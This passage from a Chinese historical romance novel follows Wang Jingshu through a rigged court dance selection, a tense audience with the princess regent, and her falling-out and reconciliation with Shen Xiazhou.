王静姝既震惊,又为这样的郎君心动,可她才不会轻易地投降,她从郎君怀中坐起,侧拥着他,吐气如兰:“你想得挺美。” 年轻郎君露出些微失落神情。 王静姝极快地捕捉到这一点,揪在郎君襟前的手,倏地用力,拉扯下郎君,极快地印上他的唇。 天性使然,她总是不愿做服从的那一个,即便是男女之间的情爱,她也爱争夺那主动,而年轻郎君骨子里的欲念亦然如此,二人唇舌交碰间,相互夺掠又相互交缠。 都是初初品尝到亲吻滋味的年轻男女,他们流连忘返,又彼此沉迷,趋于本能的好奇,向往,身体的每一个细胞也倏地被点燃,情潮涌动,那是存在男女之间亘古不变的本能。 沈遐洲有些尴尬地松开女郎,双腿不自然地避了避,还将女郎推远了些。 王静姝眼带懵然,似还不解他的做法。 过了好半响,才忽地醒悟,美眸瞠着,赧然一直从脖颈漫入了衣襟,她羞恼了:“沈九如,你日后若是再为这种事约我,我不会再来了。” 西书阁僻静,平日里连个仆役都没有,沈遐洲上次尝了甜头,又将地点定在这儿,什么心思明明白白的。 她虽喜爱沈遐洲这般的郎君,可再这般勾勾搭搭下去,着实危险。 她还没想好要不要睡了他呢。 贞洁这种事,从来都是用来约束在意它的人,她不在意,这便对她造不成困扰。 可她是来洛京联姻的,她无法保证她的未来夫君也不在意,沈遐洲也从未说过要娶她的话,他们不过是被情欲本能牵引的男女,只贪欢愉,不求未来。 她是这般认为的。 她也喜爱这新奇的体验,可她还需要再想一想。 沈遐洲似被女郎斥得羞愧,伸手拉了拉她:“我只是想和你说说话。” 至于后头那些,实在不受他控制,况且—— “你不也喜欢吗?”沈遐洲问。 王静姝噎一下,瞪他,哼道:“总之,你别再约我到书阁见面了。” 无人打搅的隐秘地方,实在太容易不受控了。 沈遐洲虽有些可惜,却也赞同王静姝的提议,遂答应。 往后几日,皆是寻常,王静姝守诺地照料他,他的伤势也渐好,再没什么逾矩的行为。 这日,疏木斜影,日光正好,宫中来了传话,长公主召沈遐洲入宫。 母子间一贯的疏冷,就连关心伤势也多显生硬,直到谈起抬举陶敬之女,沈遐洲才倏地变了脸色。 漱阳长公主问:“陶娘子那边筹备得如何了?”掀眼提点:“每年参祭的贵女多,至少要让她面上过得去,不落了人口舌。” 沈遐洲抬目直视漱阳长公主:“陶娘子底子终究差了些,洛京的世家们也不是耳聋眼瞎的,母亲不如另择一法抬举她。” 漱阳长公主眼眸忽锐,又 在顷刻间放柔,缓声问:“那你觉得当如何?有什么好的法子?” “古来祥瑞多受人青睐,不如以此为她造势,声名不下于端午祭。” “是个好主意。”漱阳长公主面色平静,直到沈遐洲退下后,她才忽地沉下了脸,朝左右下令:“去查查三郎近来发生了什么,身边出现了什么人。” 第26章 第26章是剧情 领命而退下的卫士像是不曾出现过般,殿中阒静,长公主闭眼假寐,深思着些什么—— 捏造祥瑞固然也能抬举陶然,可这历来都是用在帝王将相之类的能人身上,陶然一个寒门女娘,也配? 近在眼前的端午祭明显是最优的方式。 长公主了解自己的孩子,他绝不是个会做无用功,舍近求远的人,除非有人影响了他。 什么人能影响了他,让他不惜做出这种变卦? 长公主倏地睁眼,同沈遐洲相像的漆黑眼瞳闪过浓浓不悦,她教导多年的孩子,如今竟学会阳奉阴违,为了旁人来试图改变她了? 就如他那父亲一样。 脱离掌控的感觉无端地令人生厌,她拾起桌案上的信纸,抬笔给远在孟津渡的丈夫写信,她每隔一段时日便会去信,心情好时是说一些琐事,心情不好时,便发泄一般地无差别责骂,责骂朝中挑事大臣,责骂他为何不能体谅她…… 然,沈照一次都不曾给她回信,她尖锐,愤恨,行事变得越发地无忌,偏执的掌控不知觉地蔓到沈遐洲身上。 这孩子自来少让她操心,也听话乖顺无比,可正因如此,也尤显得他忽然的不受控那般的背叛。 压抑的怒火在她眸中燃烧,浑身散出迫人的气势。 服侍长公主的内监从先帝时起,便投靠了长公主,对长公主容色细微的变化再熟悉不过。 他垂立左右,直到过了许久,才退出殿中,同一宫侍耳语。 宫侍瞥殿中一眼,点头离去。 * 端午祭时日已近,王静姝将名帖递至太常寺,又有沈家郎君的陪伴,官署人员异常热情,只几个长官面色多有些古怪,这到底是个什么意思,没说沈家二郎是同这位王娘子是一起的啊。 太常寺卿同太常寺少卿,对着几张名帖愁得额上褶皱足以夹死蚊虫,就在不日前,沈三郎特意来太常寺各署走瞧了一遭,拉着他们大谈了一番“公者无私之谓也,平者无偏之谓也”,话里话外无非是敲打他们作为选官的公正。 而在更早之前,也是这位沈三郎,来官署借了不少乐师,难道也是为了这位娘子借的,那到底是要偏一点还是不偏一点? 又偏给谁? 惠王那边可也请他们吃过饭,还见了一位出身普通的娘子。 除此外,宫中那一位才是最紧要的,长公主什么话都不说,只稍请两位到殿中问上几句筹备得如何了,就够他们紧张的了,更何况,不过是一个拔选,长公主竟在最后道要来瞧一瞧。 太常寺卿年岁长一些,天命之年,经过的事情也多,最后拍板道:“也不惧长公主母子到底是何想法,到时我等将有潜质的名单递上前,剩下的也不在我等的考量范围内。” 太常寺少卿跟着点头。 太常寺的拔选其实并不复杂,所有的乐师在场中齐备,各家贵族女郎到了便由奉礼郎引其到偏殿稍歇,或是在场外看上一位女郎筹备的舞乐也是可的。 有些骄傲的女郎自是不屑去瞧旁人如何,她们卡着时点才到,在偏殿稍待,王静姝从中就瞧到了几位眼熟的女郎,赛牛那日见过,有意思的是,让她颇在意的那位陶娘子也来得颇晚。 她想起沈遐洲同她说的话,长公主想要抬举寒门武将,她会讨不着好,她有点好奇了,会怎么让她讨不着好,这般多的女郎参选,难道就只针对她吗? 然直到了快上场前不久,她才忽地惊觉不妙,不是发现被针对了,而是沈二郎不见了。 沈二郎对宫中和各处官署,不可能不熟悉,但到了这时还不出现,只可能是发生了什么。 奉礼郎不过一个九品小官,半点话语权也无,面对着面沉如水的貌美娘子,也是一边焦急,一边规劝,“王娘子,你就别为难下官了,这所有排列的场次都是已经定下了的,下官哪里做得了主,而且,非是下官胆怯,而是这后头排的其他娘子,也不依的啊,她们有的连舞衣都不曾换,又哪里备得及同娘子你交换。” “这也于理不合啊。” 这时竹苓也回了,小幅度地冲王静姝摇了摇头,她打发了奉礼郎,无人下才显出了自己的担忧,急切问:“二表哥是怎么回事,怎还不见回来的?” 竹苓道:“娘子,二郎君腹痛难止,现还在净房。” “怎会突然腹痛,早前不是还好好的吗?” 王静姝不由回忆沈二郎离开前用了什么,目光投到精致的点心上,这是沈遐洲命人送来的,沈遐洲自从伤好后,得了新的任命,今日恰巧不得空,但使了小黄门为他们送了些点心来。 她因是舞者,不便于用茶点,便不曾碰过,此时,她手中捏着点心看了看,凑近鼻子轻闻,竹苓也反应过什么来地般担忧唤了一声:“娘子——” 王静姝将点心放下,“无事,我并不吃。” 再扫向一旁的茶水,许是因在各偏殿中等的娘子都是贵人,茶水换的颇勤,这早已不是之前那一盏了。 她有些出神。 沈遐洲是不想她参与到端午祭,可真的是会是他做的手脚吗? 即便她不是顶聪明的人,也知晓,在送来的食物中下料,是很拙劣的计策。 阻了这次,岂不是要彻底同她撕破脸。 换了往日,王静姝确实会觉得沈遐洲有很大的嫌疑,可近些日子,明显缓和亲近的关系,她不觉得沈遐洲会这样做。 一时间,重重的迷惑萦绕在她心间,可她没有余的时间去苦恼,她准备了这么久,便是一人也得上。 奉礼郎再次前来催时,她深呼一口气,跟同去了大乐堂,这是一个极阔亮的殿堂,礼官记名,乐师严整以待,八音俱全,唯独王静姝只有舞者,没有带麾者,众乐师摸不准事态地相互觑看,没有麾者,他们如何配合? 近百的乐师,十八般器乐总不能胡来吧? 除知这位娘子舞的是般乐外,其他的他们可是一概不知啊。 太常寺两位长官其实也不想为难这位娘子,可这位娘子的运气不好,此刻正是朝会结束的时刻,长公主不知何时就要过来了,王娘子同沈家千丝万缕的联系,这本是极好的时刻,谁又能想到沈二郎突然出了问题。 不管如何,王娘子此刻上,总比其他娘子更能得到长公主的宽容吧,说不得便再给王娘子一次机会。 太常寺少卿轻咳一声:“王娘子,我便先让众人奏一不会出错的般乐配合你如何?” 曲子从来都是大体不差的,无非是少了举麾者,每一乐曲插入的时刻不一定能合得上,这便需要舞者去配合去改变了。 话说出口,太常寺几位长官也觉得有些欺负人了。 可再如何也比长公主到时,场中无人问起的好,而且也总归是沈家的郎君出了问题。 王静姝倏地抬了头,眸色如火一般明亮,望得几个长官心中都生了怯。 “不用了,既选的是主祭,乐不乐的有什么重要。” “我一人足以。” 她立在场中央,裙裾漫飞,舞袖展扬静若花开,是极慢的一支舞,没有曲乐,甚至连周遭的呼吸都离她远了,身姿似云一般舒卷,也如水流一般缓淌,她以舞化万物,又以舞沟通天地。 舞中意蕴被她展现得淋漓,如她说的一般,乐不乐的早已不重要。 沈二郎急急赶来时,见到的就是如此,他既腹痛未缓,又少见地生了怒,拽过 门口的奉礼郎:“我不在,我表妹为何还会上场?” “杨山是欺我表妹京中无人吗?” 杨山便是太常寺卿正的名,虽家世不如沈家,可也是正经的三品官了,沈二郎这般直呼其名,实在是无礼了。 然此刻,他也管不了那么多,夺过麾节,走入场中,有意让王静姝留意到他,目光交汇,是多日培养出来的默契。 乐师们也终于回过神,不用再怔愣,他们及时同沈二郎调整各自定位,鼓乐突起,女郎也舞入了下一个阶段,如莲开的双手缓缓抬起,配合着突起的乐旋身,犹如飞天。 她是极美的女郎,也是极具威胁的女郎,不然也不会有一个二个的都拒绝同她交换排次。 乐堂外的陶然眸光一会黯然,一会又艳羡,只有如王娘子这样的女郎,才有底气说出只她一人足以。 同她一起观了此舞的女郎具掩面有愧色,“我不如王娘子远矣。” 叹罢,竟然带着浩荡的人群直接离开了乐署,这是直接放弃了。 这样的女郎还不止一个。 陶然咬牙,扭身离去,但并非是离开,而是等在一偏殿的转角。 沈二郎一坚持完配合,扔了麾节,不甚雅观地捂着肚子道:“表妹,我坚持不住了,你再稍待我片刻。” “你等我回来,我一定好好查查到底是什么人在搞鬼。” 说着他又跑去了净房。 王静姝不如他急切,慢慢踱步在殿外干净的青石板道上,转角,恰与陶然相碰。 陶然早已换好了舞衣,搏带衣袖飘扬,腰身盈盈掐一束,手中还拿一羊骨面具,俏丽之余,又有一点儿诡异。 王静姝对各类舞都有涉猎,一看她装扮,便知陶然跳的大抵是隶舞,这是从巫舞演化而来的一种祭舞,就是不清楚她祈求的是什么了。 这种舞并不出错,而且若是所求恰好在祭祀当日实现,怕是还有不一样的成效。 王静姝不厌恶寒门,也不觉得寒门女郎同自己在一个空间便脏了空气,但她也有贵族女郎有的通病,骄傲,不屑与寒门女郎往来。 况且这人还是陶然。 她绕身想走,却听得陶然声音:“王娘子,三郎虽说过一定会帮我当上端午主祭,但我并不知晓他竟会支开沈二郎让娘子难堪,实在我之过也。” 她羞惭,又面带愧色:“三郎还道会用祥瑞为我添彩,我之后也实不知三郎会做什么了。” “若是为了帮我之故会伤害到旁人,我实在……” 她越说越愧,甚至有些急出了泪意。 竹苓实在没见过这样得了便宜还卖乖到自家女郎面前来的人,气得上前一步,被王静姝拦了下来。 王静姝其实是个脾气不太好的女郎,她常会被人激起好胜心,甚至怒火,可今日她面色沉静得旁人都窥不出半分怒燥。 从决定要参与端午祭开始,她便几乎没有遇上什么好事,到了这最后一刻,更是被当头一棒,陶然确实有激起她的怒火,可她也看得出,陶然这是故意来激她,这手段比给沈二郎下药还拙劣。 “陶娘子,我是建业王家六娘子。” 王静姝清凌凌的目光扫过陶然,只留下这样一句话,却比什么反击都更扎向陶然。 她是有身份的贵女,所以不管陶然使用什么手段,怎么激她都无用,她不会自降身份同一个寒门女郎去争吵,那是在抬举陶然。 而陶然会故意舞到王静姝跟前,也恰恰说明她极在意自己的出身。 陶然目中通红,紧盯王静姝离开背影,这些京中贵女,无非是仗着个好出身罢了,一个个狗眼看人低。 她迟早会将她们踩在脚下。 世家们再清高又如何,还不是成了皇权的眼中钉? 她扭身向乐堂走去,因离去了不少人,很快便轮到她了。 * 王静姝并非表现出来的平静,她不将陶然放在眼里,那是因为陶然并做不到在沈二郎茶点中下药来,但有人帮她是无疑的。 那人可能是沈遐洲,也可能是任何一个也看中寒门势力的任何人。 她也不信陶然说的每一句话,可她也是生气的,陶然敢说出那番话,至少可以证实沈遐洲对陶然是尽心尽力过了。 两相对比下,她实在是可怜极了。 她讨厌这种感觉。 她气坐在偏殿等着沈二郎,沈二郎与她至少是一个阵营的,此事,定然会去查个一二。 她想知道结果,想知道这当中沈遐洲到底做了几分。 然,还不等她等到沈二郎,先来了一个老内监。 内监声细,眉目低顺:“王娘子,奴是长公主身边侍候的,长公主方才瞧见了娘子所舞出众,邀请娘子晚些离去,有些话想同娘子说。” 老内监同王静姝做了个请的手势,要王静姝同他换个地方等。 老内监其实是很客气的,其衣饰品级肉眼可见的不低,显然如他所说是在身份极贵的人身边侍候的。 王静姝从乐署的偏殿被带到了更恢弘的殿宇中,但殿宇中一直无人。 那个老内监倒是来为她上过了几次茶,先是说长公主在太常寺观此次主祭选拔,后又是说长公主与吕相有事要议。 长公主不喜她。 这是王静姝在漫长等待中得出的结论。 她几次欲走,却被殿外的侍卫拦回,她的侍女也被隔在旁的殿中。 她一直是个胆大,行事无所顾忌的女郎,上次令她感到无力,还是被丹阳王看上要迎娶。 此次,是第二次。 无力深深攫住了她。 暮色昏沉,殿中燃起了灯烛,大片的阴影逶迤而过,高坐之上坐下了人,是漱阳长公主终于来了。 长公主身居高位多年,眉眼都浸染着威仪,除了墨色的瞳仁外,王静姝觉得她同沈遐洲没有再相似的地方。 沈遐洲再难以亲近,也没有长公主这般明显的排斥感。 她规规矩矩地行礼。 长公主早在太常寺便已见过了王静姝一面,是一眼便难忘的女郎,不枉能让她儿子动心。 便是她见得这般的好颜色,也不禁会回想起自己年轻时。 建业王家配她孩子其实并不算攀得多。 不管是出身还是容貌,也俱相配。 可也除了相配外,再无旁的添彩。 王家本就同沈家是姻亲关系,亲上加亲无利可图。 再则,沈三郎日后是要担起沈家家主之人,一个会同她对着干的家主,不是她想要的。 长公主目光从王静姝身上缓缓扫过,抬起了眼,语气也颇为亲和:“王家六娘子,本宫听过你,我儿在建业之时,听闻同六娘子你颇为交好。” 交好? 都已不知多久前的事了,但王静姝并不反驳,顺着长公主的话点头。 “我也知道三郎曾害得六娘子受了罚。” 王静姝再也忍不住地抬了头,几年前的事情,长公主都知道的这么清楚,近些日子的想来更不用提,长公主到底想说什么? “你是个剔透的好孩子。” “想也知三郎他并不如面上看上去那般如玉如磋,他不是险些害了你好友们的性命吗?” “这也怪我,幼时对他教导过于偏颇严苛,坏了他心性。” “今日听得二郎害了腹痛,我便想起了些交代过三郎的事情。” “我替他同六娘子道歉。” 长公主的道歉,何人敢接? 王静姝并不言语,听得长公主又道:“丹阳王一事,我也有些耳闻,你这般青春貌美的好孩子配他确实可惜了。” “本宫也算得上你半个长辈,你便在京中好好留下,亲事本宫自当为你留意。” …… 王静姝直到离开宫城,脑中仍旧嗡嗡作响,长公主是不愉她同沈遐洲走得近的,明里暗里告知她沈三郎并不是她所想的好郎君。 甚至还以丹阳王来警醒她,要想在洛京寻求庇护,什么该肖想,什么不该肖想,得想清楚了。 长公主半句重话不曾说,可句句都扎在她心窝。 她是极骄傲的女郎,这样的谈话威胁之余,简直如羞辱。 而她只能如一只被拔了牙的幼兽,被各种权势更高之人欺压得不甘哭泣。 她浑噩地上了归家的马车。 马车毂毂,声响无端地扰人,倏地一个急停,车外传来女郎的哭喊—— “王娘子,你饶了我吧。” “我错了,我当时不该推你……” 第27章 第27章“你是要我以身相许吗?…… 这是一个陌生的女郎。 王静姝并不认识,可她在路中央哭喊,还是在人正多时的黄昏。 她不得不让人将那女郎扶起,到了一旁的酒楼中说话。 女郎形容狼狈,露出的臂膊隐有伤痕,活像是从某处逃出来一般。 王静姝确认她不认识这个女郎。 可这个女郎无比准确地在众多车流中认出了她,甚至到了此刻仍在求饶。 不是伪装出来的害怕,是真的胆俱,胆俱到时时刻刻都在反省自己。 从她断续的话中,王静姝终于想起了到底是何事,大概是十日前,赛牛场上,她被人推了一把。 当时太过混乱,根本无从去寻到底是何人推了她,郑家倒是派人来关怀过她,郑七郎也又曾来邀过她赴宴,她忙着同沈遐洲交好,又忙着练舞,便都给拒绝了。 除了忙碌以外,她也不是心大到遗忘了被推之事,只是她最后也算是无虞,郑家又有意交好,她才到洛京打开交际,不愿以此去为难郑家。 可听这位宋女郎的话,她隔日便在外出赴宴时,在半途被人劫走,一直被关在一隐秘别院。 别院中只有冰冷不言语的卫士,还有许多的赛牛,她不但照料赛牛,还住在牛棚中,若是有个照料不妥,便被放出的赛牛追逐,她身上的伤都是这般来的。 她自然是跑不过赛牛的,断腿,断手,不及养好,便又去照料赛牛。 她也不知是怎么被救出的,有人告诉她,她会受此磋磨都盖因她推了王娘子,而那路过的马车,便是王娘子的,她只要去道歉,寻得王娘子的谅解,连日的磋磨便可结束。 所以她不顾身上伤势地拦住了马车,连声求饶,求王娘子放过。 王静姝费力将宋惜玉断断续续的话连在一起,大抵可以推出到底是什么人囚了她,又是什么人放出了宋娘子。 她疲惫闭目。 她一直知道沈遐洲不是个好郎君,他除了一张端然的好相貌,实则心眼小,报复心也强,还是个少年郎君时,就做过命卫士将寻衅过他的人扔下水中的事,据闻,还不许任何人上岸。 她的那些被扔入水的好友们,皆是南方生长的儿郎,擅水,虽不至于出人命,但在水中泡上大半日,也够呛,不少当日就病了。 她也觉得沈遐洲做得过分,她为好友们寻沈遐洲理论,两人的关系也闹得更僵。 后来便是愈演愈烈的糟糕关系,好友们谋划收拾沈遐洲,而她也在事情败露以后,站在了自小一同大的好友们那边。 这些过往龃龉,归根结底,双方都是有错的,只是彼此都是骄傲的少年人,意气用事,才再无法和好。 她从未将沈遐洲往极坏的方向想过。 可长公主好像有意揭开这层遮挡,让她直面沈遐洲最恶意的一面,也在告诉她,沈遐洲完全有可能一边骗她,一边暗中阻碍她。 推动着她相信为沈二郎下药的是沈遐洲,他是个做得出这种事的郎君。 王静姝觉得自己彻底乱了。 其实到了这个时候,是不是沈遐洲做的已经不要紧了。 重要的是,她该及时从与沈遐洲的这段关系中抽身了,她还不能回建业。 她命人将宋娘子送去医馆救治,还留下照看的人,这才回府。 沈二郎也早已回府,他无脸来见王静姝,因主祭人选已出,是陶娘子。 沈二郎将原因归责到了自身,王静姝却知这不能怪沈二郎。 可她今日实在心力憔悴,也无空再去顾及旁人的心绪,她倒头就睡。 * 夜里,王静姝沉在梦中,怎么都不安生,她一会被野兽追着跑,一会又被野兽禁锢在了身下,看不清面目的野兽口涎垂滴,深白的牙几近她细弱的脖颈。 她惊醒了,意识还有些不清地朝外伸手:“竹苓,水——” 喊完后,才惊觉帷帐外的影子绝非竹苓的。 水被递到了她手中,来人面容也显露,是沈遐洲,年轻郎君一身霜寒,也不知站了多久。 王静姝怀疑她做噩梦和这人站在她床沿脱不开干系。 沈遐洲静等女郎喝完水,哑涩开口:“不是我。” 王静姝撩眼,能凝见年轻郎君流畅雅润的下颌线条,有些苍白,还有些紧绷。 他像是在等着女郎的审判,又隐约在期待着些什么。 王静姝无从得知,也不愿去探究,她微垂下面容,“我今日见到了宋娘子。” 沈遐洲面色有瞬息的茫然,他从不去记什么女郎,不解王静姝不提太常寺的拔选,怎反提起一个听都没听过的宋娘子。 然也只是一小瞬的空怔,他半退一步,终于想起到底是哪个宋娘子。 王静姝是个做什么都坦坦荡荡,敞敞亮亮的女郎,她与他全然不同,在用牛心炙试探过她的态度之后,他便知王静姝不愿揪着被推一事了。 王静姝大度也好,顾虑多也好,她可以不追究,他却是无法忘却目睹的惊险一幕,郑大郎送来的名字,当日他便派人掳了宋惜玉,他命人看着,并不伤宋惜玉性命,只让她反复陷入被赛牛撞踏的恐惧。 这事不该被王静姝知晓的,王静姝身边交好的好友,还有那个日日混在一块的王七郎,都是没什么脑子光会直来直去的傻瓜,在他看来,王静姝天然就同那样的郎君是同一个世界的人。 他显然做不到那些傻瓜的开朗磊落,但他显露出来的作风,至少也不会在王静姝心中根植下阴狠毒辣的印象。 然,宋娘子的事王静姝知晓了,会如何看他? 担忧,为了她报复? 这都是苍白无力的解释,王静姝并不需要这样的为她好。 这种最本质阴暗的揭露,明明白白地显露着两人的不同,比让王静姝怀疑他给沈二郎下药还要赤,裸。 他有些苦笑,姜果然还是老的辣,长公主不愧是生养他的母亲,不但在他身边安插了人,也最是知晓怎样让他收心听话。 也是在敲打他,他所有暗地里的心思她都知晓,她可以放任他成长,也可以随时掐断他的成长。 这是一种无比可怕的掌控力,显得他无比的弱小。 “我会给你一个交代。”沈遐洲双目染上赤红,有些退却。 王静姝拉住了他后退的衣摆,目光清澈又坚定。 沈遐洲莫名地,不想听她开口。 “我们两清了。”王静姝能听得自己又轻又冷的声音,她其实也有些茫然,人的感情是能轻易用比较来衡量说清的吗? 可要说他们有特别深厚的感情,也不见得,她清楚明白,她不过是好沈遐洲的好容色,而沈遐洲,她也不清楚了,他好像突然间,就对她转了态度,想来也是与她差不多的吧? 但见着他露出受伤的神情,她不免涌出些的愧疚和对不起。 她垂眼不敢去看沈遐洲。 她的下巴倏地被人强势抬起,“王静姝,你又要弃我?” 沈遐洲不信王静姝半点判断力也无,她只是极其狠心,她见着了他的另一面,也见到了他背后的麻烦,所以她不想在意到底是不是他给她使绊子,痛痛快快地一刀断了。 或者也不能说她狠心,她只是并不够喜爱他。 即便他没有资格去要求王静姝去为他付出,他也被女郎的果断狠决给伤透了心。 她果然是在玩弄他的感情。 他被气得满心凄苦,一口鲜血翻涌上喉头—— 他又被王静姝气得吐血了。 王静姝没想到他这身体这般不经用,才几句话的功夫怎么就吐血了呢,焦急占了上风, 她不顾被郎君钳着的下颌,伸出手去关怀他:“你无事吧?” 她眸中与怜惜关怀一起的是明晃晃的震惊,震惊他怎么就吐血了。 这更气人了。 王静姝这个女郎,根本不觉得自己有多伤人,沈遐洲收回钳住她下颌的手,退后两步,避开她的关怀。 语气冷硬:“既要与我两清,不用你假惺惺。” 王静姝缩回了手,只用一种既怜又无奈,还有些说不清道不明的悲伤神情仰望他。 望得沈遐洲心间一颤,不禁反思自己话是否说得太重,可再重又哪有她心狠,她连他的辩解乃至交代都不愿意要,便直接要与他两清。 想着,沈遐洲心间又硬气了几分。 他盯向女郎,女郎只着一身素色中衣,乌黑长发一半铺散在背后,玉白肌容像淡淡的月光一般莹润生晕,下颌处明显的红印既突兀,又隐秘地有些刺激,这点儿刺激挠得他又软了几分心肠。 总之,他总对王静姝坏不起来,被气得再狠,想收拾的也不会是她。 可她着实过分,气他也就罢了,她不是大胆的女郎吗,既担忧他吐血,怎就因他一句话退却了,就不能冲上来抱抱他,再亲亲他吗? 他想得有些发痴,目光不再紧盯着那处红痕,转向女郎乌黑的发顶,声调微凉:“王静姝,你当真要与我两清?” “你可想清楚了,一旦两清,你我便当从未相识过。” 初历情爱的年轻男女,总会试图用一些决绝的话来试探彼此感情的深浅,试探是否还在乎,也企图凭此被挽留。 沈遐洲余光一直留意王静姝,她见女郎震惊抬眼,也见女郎躲避垂眼。 最后只听她轻轻地“嗯”了一声。 无端的静,极冷的空气。 也突兀极了的窗扇“砰”响。 沈遐洲被气走了。 王静姝睁眼往床榻后仰躺,心里说不出的闷闷,她觉得糟糕极了,也难受极了。 她想,这次她应是彻底与沈遐洲玩完了。 这样也好,她是个心狠女郎,他也是个麻烦郎君。 现在伤怀,无非是有外力推动着他们分开而已,过些时日,便好了。 翌日,她眼下青黑吓坏了几个侍女。 她心觉,可能要比过些时日再久一点的时间她才能好,只因她竟想了整整一夜。 沈二郎这日也来瞧过她,道沈遐洲送来的点心并无问题,有问题的应是茶水,若再往深了追究,便是沈二郎也不能轻易触碰的了。 他瞧王静姝神情恹恹,宽慰道:“表妹也不必伤怀,不过一个祭祀,马上八月就是中秋了,到时也有机会。” 王静姝微微瞥了他一眼,意味深长,那能一样吗,中秋又不是什么大祭,而且她的士气已经受挫,最近实提不起什么劲。 不过端午当日,她仍旧盛装同沈家郎君和娘子去参与了,她亲眼瞧了瞧那位陶娘子到底几多本事,雅乐恢弘,祭舞也算相得益彰,最后天公还作美,下起了细雨,恍若是回应陶然祭舞所求风调雨顺。 细雨连绵落在陶然身上,有点毛茸茸的光雾,凭空添了几分神性。 而时人喜谈玄,这样的巧合令小皇帝龙心大悦,当即封赏陶然为护绥神女,赐住处。 皇帝的年岁小,他的赏赐既像是突然的兴起,又隐约像是得了教导,端看在坐之人是否敏锐。 吕相眼皮微微掀动,往往很多权利更迭都隐在细微的变动中,就好比太祖皇和先帝时期,起初朝中就没有什么中朝,外朝之分,九卿皆属于丞相,是后来,先帝疼爱长公主,为长公主的夫君加官,既是在原本职务上再加另外一个头衔。 加官制度一旦开创,便慢慢地增添了种类,像如今的侍中、给侍中、散骑,都是由此而来,这些官员职权逐年变大,形成了一个独立三公九卿外的独立班子。 丞相的权利被瓜分转移。 如今长公主似乎还不满足于此,连寒门都要抬一手。 她在将当年默许给世家的利益,不动声色地剥夺。 吕相微耷了眼皮,有时候步子走得太快,并不是好事,陈氏皇权可不是没有旁的继承人了。 视线微扫了一眼最上头的小皇帝,又落到下首捂唇咳嗽的惠王身上。 王静姝并不懂这些大人物的较量,她只是个小女郎,她自与沈遐洲夜里道了两清后,再未碰过面。 此时也不过是隔着濛濛的细雨望上一眼,他并不同沈家的郎君一起,他如今有了新的任职,是卫尉下军司马,是个六品的军职,守宫城,也护帝王等人的安危。 听闻是在郑家赛牛场那日显露的武艺,令人折服举荐。 王静姝并看不太清沈遐洲容色,只觉得他那身袍甲有点儿晃眼,说实话,即便沈遐洲曾在牛蹄子底下救过她一次,也洗不清在她心里隽逸柔弱的形象。 此刻完全是因新奇多瞧了几眼,不期然地对上了一瞬视线,她连忙故作无意地别开。 沈遐洲面色清寒,自然瞧见了女郎的身姿,眸色越发地冷晦,王静姝实在是个没心没肺的女郎,她伤了他心,怎还能极尽地去装扮,即便不曾得到端午祭主祭的位置,她只坐在下首当个看客,也无端地引得许多郎君留意她。 她容光熠熠,与他夜不能寐的苍白一点都不同,他数日不得眠,将底下所有卫士都清洗了一遍,背叛他者,尽数清理。 他还去查太常寺当日都发生了什么,当中到底几多污诬陷,又到底几多歪曲的事实。 他恼的是王静姝根本不给他查清的时间,也不给他解释的机会,她轻易地就放弃了他。 隔着雨雾,他用一种幽晦的眼神观察女郎,目中几多不甘,还有几多幽怨,除了瞧不起他这种阴晦人格外,他想不出王静姝为何又舍弃他。 可只是抓到她偷瞧他一下,他又涌出无限甜滋,王静姝果然还是放不下他的,他不免遐想要如何原谅女郎。 然再去留意时,沈府的位置早已没了女郎的身影。 王静姝觉得气闷,离开了坐席,细雨打落在她身上,发间,还有脸庞,清凉凉的,浸入心间的畅快,她不由旋身几下,更感受着密密细雨带来的凉意。 倏地,她被人拉扯一下,脊背顶靠上凹凸的石壁,她微微抬首,有细细雨水从头顶打落她脸颊,甚至落到她眉眼间。 她缓了好一会,才感受清自己的处境,她凝着同样沾满水雾的郎君,他本就逸如暮霭尘烟一般的俊容,有汇在一块的水滴一路的从他山峦一样的鼻梁骨滑落,滑过下颌,又从喉结处蜿蜒。 有点儿狼狈,可也狼狈得好看。 王静姝一时忘记了该挣扎一下。 沈遐洲半搂着她,隔开背后嶙峋的石块,又半胁迫着她抬头。 “王静姝,我觉得我们两清不了。” “我对你是救命之恩,你不过照料我几日,如何与我两清?” 王静姝眨了眨眼,忽地就有些想发笑,沈遐洲几日不见,就思考出这个结果? “那你想如何?”王静姝问。 “滴水之恩,当涌泉相报,救命之恩,难道不该……”他倏地移开了点同王静姝对视的视线,说话也变得磕绊了些,“话本子里都说的那个。” 王静姝挑眼,替他说全:“以身相许吗?” 她甚至贴近了一些沈遐洲:“你是要我以身相许吗?” 沈遐洲忽地被女郎问得哑口,他不是想要她以身相许,他不过是不想与她两清,几日不曾见,他整日整日地都想着女郎睡不着,再多的事情也无法将她赶出脑海。 假山的洞穴很是狭窄,两人几乎挨在一块,又因雨水的原因,彼此的体温变得更加明显,女郎身上贴来的丝丝缕缕的馨香,无孔不入地钻入他的每一个毛孔。 他色令智昏向下的视线,能望见紧贴女郎锁骨的轻薄夏衫,再往下 ,是极好看的形状,同腰身连在一块的曲线,更是看得人血脉砰张,他没见过比王静姝还好看的女郎了。 王静姝有点嫌弃沈遐洲了,他怎连这样看看都能有感觉。 她仰靠在石壁,有些无所畏惧地用腿弯撩了撩他,“你到底要如何,倒是说啊!” 沈遐洲一个激灵,被她刺激得向后“咚”一下,砸到了后头的假山内壁。 王静姝笑了,笑得恶劣又潋滟生光。 沈遐洲只知她与他要两清,可根本不知她一骄傲女郎,因他受了多大的委屈。 一次两次,强权压在她身上,这个要娶她,那个又拿婚事威胁她。 她难道没有脾性吗? 她逼近沈遐洲,拽下他衣襟,亲撞上他下颌,“你是想要这样吗?”又咬了咬他脖颈,歪头问:“还是这样?” 沈遐洲魂骨都被激起震颤,可他清楚感受到女郎的状态不对,他拉下扑在他身上的女郎,一手搂腰锢住她,另一手也钳住她作乱的手。 “我不是这个意思。”沈遐洲耳廓滴红:“我先带你去换衣。” 郎君功夫实在了得,宫廷于他而言也来去自如。 他带王静姝到的是他往日在宫中的住处,是一处靠近宫墙的小宫苑,他寻出干燥的巾子给她擦发,又往外走一瞬,有隐在暗处的卫士送来干净的女子衣裙。 他递到室内,不敢正眼去看女郎:“是宫女的衣饰,你先将就换一下。” 王静姝此时也冷静不少,望着绕过屏风递进来衣物的手,干脆拉了一下,隔在两人之间的屏风被他们的动作惊倒,毫无遮挡的女郎出现在郎君眼前。 沈遐洲下意识转身。 “你慌什么,我穿着衣服呢。”王静姝暗啐了沈遐洲一口,就这,还能同她提以身相许。 沈遐洲这才去看王静姝,她只褪下了湿透的外衫,内里衣衫虽有些浸湿,但大体还算好,该遮的地方都遮住了。 